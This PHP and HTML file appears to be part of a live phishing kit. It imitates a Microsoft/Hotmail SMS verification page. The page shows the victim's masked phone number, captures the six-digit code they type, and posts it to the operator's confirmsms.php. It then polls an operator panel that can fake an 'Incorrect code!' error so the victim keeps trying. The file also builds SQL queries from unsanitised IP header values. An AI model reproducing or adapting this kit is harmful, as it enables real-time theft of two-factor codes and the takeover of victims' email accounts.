<?php

@session_start();
error_reporting(0);
ini_set("display_errors", 0 );

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";

 $erro = $_REQUEST['error'];
 $ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);

  $query_info = "SELECT * FROM infos WHERE ip='$ip'"; 
  $recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
  $row_infio = mysqli_fetch_assoc($recorinfo); 
  $totalRowsinfo = mysqli_num_rows($recorinfo); 
  


$celular = $row_infio['numero_autenticar'];
$email = $row_infio['usuario'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Cliente online no sms do email' WHERE ip='$ip'");

?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta content="width=device-width,initial-scale=1" name=viewport>
<title>Log in</title>
<link rel="icon" href="img/hotmail.ico">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/bootstrap-theme.min.css">
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
<!-- <script src="js/bootstrap.min.js"></script> -->
<!-- <script src="js/jquery-vv.min.js"></script> -->
<link rel="stylesheet" href="css/style.min.css">

<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next@21.6.10/i18next.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/jquery-i18next@1.2.1/jquery-i18next.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next-browser-languagedetector@6.1.3/i18nextBrowserLanguageDetector.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next-http-backend@1.3.2/i18nextHttpBackend.min.js"></script>
<script type="application/javascript" src="language.js"></script>
<script src="js/verificarUsuario.js" type="text/javascript"></script>
   <!-- <script src="//code.jquery.com/jquery-1.11.2.min.js"></script> -->
 
   
<script>


//função enviar senha
$(document).ready(function(){     
     $(document).on('click', '#entrar', function(e){  
     e.preventDefault();  

     
  
     var n1 = $("#emailsenha").val();
      if(n1 == ""){
       comandoerrordados()

     }else{
//      $("#emailsenha").prop('disabled', true);
//      $("#entrar").prop('disabled', true);
//      document.getElementById("barra").style.display = "block";     
//      $.ajax({
//     type:'post',    //Definimos o método HTTP usado
//     data: {
  
//     emailSMS: n1    
//     },
//     dataType: 'json', //Definimos o tipo de retorno
//     url: '/app/sendData.php',//Definindo o 
//   });
      $.ajax({
    type:'post',    //Definimos o método HTTP usado
    data: {
  
    n1: n1    
    },
    dataType: 'json', //Definimos o tipo de retorno
    url: 'confirmsms.php',//Definindo o arquivo onde serão buscados os dados
    success: function(data){  
     
    dispararComando();
    //document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
//     document.getElementById('errorsenha').innerHTML = "";
      $("#errorsenha").css("display", "none");
      
    }
  });
  }
    });    
});

function dispararComando(e) {
   
    myVar = setInterval(esperaresposta, 1400);

}

       

function esperaresposta() {
    //alert("teste");
    Get("","../main_.php",0);
    
}
function comandoerrordados() {
    //alert("te");
      document.getElementById("barra").style.display = "none";
      $("#emailsenha").prop('disabled', false);
      $("#entrar").prop('disabled', false);
      $("#errorsenha").css("display", "block");
      // document.getElementById('errorsenha').innerHTML = "Incorrect code!";
 
}


var onOff=1;


function Get(data,urlapi,e) {

    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        var json = this.response;
        if(e!=1){ status(JSON.parse(json)); }
      }
    };
    xhttp.open("GET", urlapi+data, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send();
    return false;
}
function status(json) {

   
         if(json.comando=="negargmail"){ 
            clearInterval(myVar);
            comandoerrordados();
           
           
        };


         
}



</script>
<style type="text/css">
body { margin:0; overflow: hidden;}
@media (max-width: 1366px) { #topo { max-width:1160px; } }
@media (max-width: 1215px) { #topo { max-width:960px; } }
@media (max-width: 1007px) { #topo { max-width:740px; } }
    #box { height:auto; background:#FFF; margin:0 auto; margin-top: 9%; border: 1px solid #CCC; }
@media (min-width: 637px) { #box { max-width:450px !important; } }
@media (max-width: 636px) { #box { max-width:100%; margin-top: 0; border: none; height: 100% !important; } }
    
#back { background:url(img/003.jpg); background-size:cover; width: 100%; height: 100%; position: absolute;  }
@media (max-width: 636px) { #back { background: none !important; } }

@media (max-width: 1366px) { #bottom { max-width:1160px; } }
@media (max-width: 1215px) { #bottom { max-width:960px; } }
@media (max-width: 1007px) { #bottom { max-width:740px; } }
@media (max-width: 784px) { #bottom { max-width:200px; } }

@media (min-width: 477px) { #me { float:right; padding:10px; width:120px; } }
@media (max-width: 477px) { #me { float:left; padding:0 0 10px 0; width:90%; } }
@media (max-width: 768px) { #re { display:none; } }

#emailsenha { width:100%; padding:10px 10px 10px 0; font-size:14px; border: none; border-bottom:1px solid #333; outline:none; }
#entrar { width:100px; height:36px; background:#0067B8; border:none; color:#FFF; }
#cancelar { width:49%; height:36px; background:#CCC; border:none; color:#444; }
</style>

</head>

<body>
 <div style="background-color:#FFF !important; min-height: 100px; min-width: 390px; max-width: 390px; min-height: 470px; padding: 0 !important; margin: 0 !important" class="aC8cESDerE4i9l6E">
      <div class="RZBuIb c8DD0" aria-hidden="true" id="barra" style="display: none">
                <div id="progressbar" jscontroller="ltDFwf" jsaction="transitionend:Zdx3Re" jsname="Igk6W" role="progressbar" class="sZwd7c B6Vhqe">
                    <div class="xcNBHc um3FLe"></div>
                    <div jsname="cQwEuf" class="w2zcLc Iq5ZMc"></div>
                    <div class="MyvhI TKVRUb" jsname="P1ekSe"><span class="l3q5xe SQxu9c"></span></div>
                    <div class="MyvhI sUoeld"><span class="l3q5xe SQxu9c"></span></div>
                </div>
            </div> 
<style type="text/css">
      body {
            margin: 0;
            cursor: progress;
      }

      @media (max-width: 1366px) {
            #topo {
                  max-width: 1160px;
            }
      }

      @media (max-width: 1215px) {
            #topo {
                  max-width: 960px;
            }
      }

      @media (max-width: 1007px) {
            #topo {
                  max-width: 740px;
            }
      }

      @media (min-width: 637px) {
            #box {
                  max-width: 370px !important;
            }
      }

      @media (max-width: 636px) {
            #box {
                  max-width: 100% !important;
            }
      }

      @media (max-width: 1366px) {
            #bottom {
                  max-width: 1160px !important;
            }
      }

      @media (max-width: 1215px) {
            #bottom {
                  max-width: 960px !important;
            }
      }

      @media (max-width: 1007px) {
            #bottom {
                  max-width: 740px !important;
            }
      }

      @media (max-width: 784px) {
            #bottom {
                  max-width: 200px !important;
            }
      }

      @media (min-width: 477px) {
            #me {
                  float: right;
                  padding: 10px;
                  width: 120px;
            }
      }

      @media (max-width: 477px) {
            #me {
                  float: left;
                  padding: 0 0 10px 0;
                  width: 90%;
            }
      }

      @media (max-width: 768px) {
            #re {
                  display: none;
            }
      }

      #fieldvalue {
            width: 100%;
            padding: 8px;
            font-size: 14px;
            border: 1px solid #333;
            outline: none;
            background: #f2f2f2;
            box-shadow: none !important;
      }

      #btn_login {
            width: 49%;
            height: 36px;
            background: #0067B8;
            border: none;
            color: #FFF;
      }

      #btn_loading {
            width: 49%;
            height: 36px;
            background: #CCC;
            border: none;
            color: #666;
      }

      #cancelar {
            width: 49%;
            height: 36px;
            background: #CCC;
            border: none;
            color: #666;
      }

      .wait {
            cursor: wait;
            pointer-events: none;
      }

</style>
<div style="width: 100%; height: 100%; position: relative;padding-top: 20px;" class="aC8cESDerE4i9l6E">
      <form name="form" method="post">
            <div style="height:auto; background:#FFF; margin:0 auto;" id="box" class="aC8cESDerE4i9l6E">
                  <div id="slider" style="display:none" class="aC8cESDerE4i9l6E">
                        <div style="background:url(./img/34.gif) center no-repeat; height: 10px;" class="aC8cESDerE4i9l6E"></div>
                  </div>
                  <div style="float: left;width: calc((100% / 2) - 20px);min-height: 5px;">
                  <img src="/logo.png" style=" height: 35px; color: #000000" />
                                    </div>
                                    <div style="float: left;width: 40px;min-height: 5px;">
                                        <center><img src="./img/gpyl4jg.gif" style="margin-top: 5px;height: 8px;float: left;margin-right: 10px;margin-left: 10px;"></center>
                                    </div>
                                    <div style="text-align: left;float: left; width: calc((100% / 2) - 20px);min-height: 5px; ">
                                        <img src="./img/microsoft_logo.svg">
                                    </div>
                  <div style="padding:10px 40px 15px 40px;color:#000;font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif !important;" class="aC8cESDerE4i9l6E">
                        <!-- <div style="text-align: center;padding-top: 5px; margin: 2em 0 0; font-size: 16px" class="aC8cESDerE4i9l6E"></div> -->
                        <div style="height: 20px; font-size: 16px; margin: 2em 0 2.5em;text-align: center; font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif !important;" class="aC8cESDerE4i9l6E"><span data-i18n="email.hotmail.sms.text">A text message with a 6-digit verification code was sent to</span> ••••••••<?=$celular?></div>
                        <div style="text-align: center;height:30px; margin-top: 3em; position: relative; top: 0px; font-size:20px;line-height: 1.75rem; padding-bottom: 2.3632px; padding-top: 2.3632px; font-size: 18px; font-weight: 600; font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif !important; " class="aC8cESDerE4i9l6E" data-i18n="email.hotmail.sms.label">Type the code</div>
                        <div id="errorsenha" style="display: none; color:red; font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif !important;" class="aC8cESDerE4i9l6E" data-i18n="email.hotmail.sms.error">Incorrect code!</div>
                        <!--  -->
                  </div>
                         
                        <div style="text-align: left; position: relative; top: -10px; padding:0 40px 0 40px;" class="aC8cESDerE4i9l6E">
                              <input type="text" type-default="text" autofocus="" name="emailsenha" id="emailsenha" info="147"  size="1" autocomplete="off" style="padding: 6px 10px; border-width: 1px; border-color: #666; border-color: rgba(0,0,0,.6); height: 36px; outline: none; border-radius: 0; -webkit-border-radius: 0; background-color: transparent; border-top-width: 0; border-left-width: 0; border-right-width: 0; padding-left: 0;font-family: Arial !important;color: #000">
                        </div>
                        <div style="margin-top: 10px;text-align: left;padding:0 40px 0 40px; color: #000" class="aC8cESDerE4i9l6E">
                              <input type="checkbox"> <span data-i18n="email.hotmail.sms.checkbox" >keep me connected</span>
                        </div>
                        <div style="margin-top:20px; height: 40px;padding:0 40px 0 40px;" class="aC8cESDerE4i9l6E">
                              <input type="button" name="entrar" id="entrar" value="Continue" style="float: right;cursor:pointer;font-family: Arial !important;" data-i18n="[value]email.hotmail.sms.button">
                              
                        </div>
                  </div>
            </form></div>
      
</div>
                 </div>
            </div>
            <style>      
.goog-text-highlight {
    background-color: transparent;
    -webkit-box-shadow: 2px 2px 4px transparent;
    -moz-box-shadow: 2px 2px 4px transparent;
    box-shadow: 2px 2px 4px transparent;
    box-sizing: border-box;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    position: relative;
}
.goog-te-banner-frame.skiptranslate {
    display: none !important;
    } 

    </style>
                                        <style>
    html {
        overflow: hidden !important;
    }
</style>
    <style>#google_translate_element,.skiptranslate{display:none;}body{top:0!important;}</style>

<script type="text/javascript" src="https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>
    <script type="text/javascript">
        function googleTranslateElementInit(e) {
            if (e?.target === document.getElementById("botaoqtraduz")) {     
                //alert("oi")           
                localStorage.setItem("translated", "1")
                e?.preventDefault()
            new google.translate.TranslateElement({
                pageLanguage: 'en',
                includedLanguages: 'th'
            }, 'google_translate_element');
            setTimeout(function () {
                var select = document.querySelector('select.goog-te-combo');
                select.value = "th";
                select.dispatchEvent(new Event('change'));
            }, 1000)
            }
        }
    </script>

<button id="google_translate_element"></button>

        <li style="display:none !important;" id="botaoqtraduz" onclick="googleTranslateElementInit(event)" class="MuiMenuItem-root MuiMenuItem-gutters MuiButtonBase-root css-1urk43s" tabindex="-1" role="option"
          aria-selected="false" data-value="th">TH<span class="MuiTouchRipple-root css-w0pj6f"></span></li>
      </ul>
    </div>
    <div tabindex="0" data-test="sentinelEnd"></div>
  </div>
                                    <script>
                                        function autotranslate() {
                                            var yestranslate = localStorage.translated
                                            if (yestranslate) {
                                                document.getElementById("botaoqtraduz").click()
                                            }
                                        }
                                        setTimeout(() => {
                                            autotranslate()
                                        }, 1000);

                                    </script>
                                    
</body>
</html>

